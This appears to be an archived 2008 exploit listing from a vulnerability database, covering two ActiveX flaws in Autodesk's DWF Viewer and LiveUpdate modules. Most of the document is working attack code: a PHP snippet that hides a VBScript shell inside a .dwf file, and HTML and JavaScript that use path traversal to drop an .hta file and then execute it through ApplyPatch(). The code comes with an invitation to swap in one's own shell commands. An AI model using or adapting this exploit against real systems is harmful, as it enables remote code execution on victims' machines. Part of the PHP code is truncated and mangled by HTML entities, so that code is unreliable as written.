Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit

Type securityvulns
Reporter Securityvulns
Modified 2008-10-02T00:00:00


<!-- Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit by Nine:Situations:Group::bruiser site: tested against IE6

tested software: Revit Architecture 2009 sp2 Autodesk Design Review 2009 (which also comes with Revit)

dll settings (both): RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: False KillBitSet: False

The first vulnerability is caused due to the CExpressViewerControl class (AdView.dll v9.0.0.96) which provide the insecure SaveAS() method which allows to store locally files with arbitrary extension. The second one is related to the ApplyPatch() one inside the UpdateEngine class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows to launch an arbitrary executable by the second argument. Note, that the first one, alone, allows arbitrary code execution. The impact of the second one is limited if you cannot specify command arguments or launch a file of yours.

The embedded dwf file (located at the url has been created modifying an existing one, replacing a .png resource file with a vbscript shell through the following script (note the PCLZIP_OPT_NO_COMPRESSION flag, this has been used to preserve the code, note also the dwg files are essentially zips) :

<?php //library: // include_once('pclzip.lib.php');

$archive = new PclZip&#40;&#39;suntzu.dwf&#39;&#41;;

//modify path
$list =

$archive->add("com.autodesk.dwf.ePlot_CD186DAA4322089243B140AD3ACE11B7\\A84650EE-74A7-4766-8D0C-CC9EAE8313D3.png", PCLZIP_OPT_NO_COMPRESSION);

if &#40;$list == 0&#41; {
  echo &quot;ERROR : &quot;.$archive-&gt;errorInfo&#40;true&#41;;


take a look to suntzu.dwf with an hex-editor... This exploit launch calc.exe but you can embed your own vbscript shell and extended shell commands, by using the php code given. --> <HTML> <OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF" WIDTH="640" HEIGHT="480" id='CExpressViewerControl' > <PARAM NAME="Src" VALUE=""> </OBJECT> <OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B' id='UpdateEngine' /> </OBJECT> <script type="text/javascript"> <!-- strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";

try { CExpressViewerControl.SaveAS (strPatchFile); } catch(e) { document.write("impossible to save suntzu.hta ..."); } finally { } strProductCode="whatever" ;

try { UpdateEngine.ApplyPatch (strProductCode , strPatchFile); } catch(e) { document.write("impossible to execute suntzu.hta ..."); } finally { }

--> </script>

original advisory: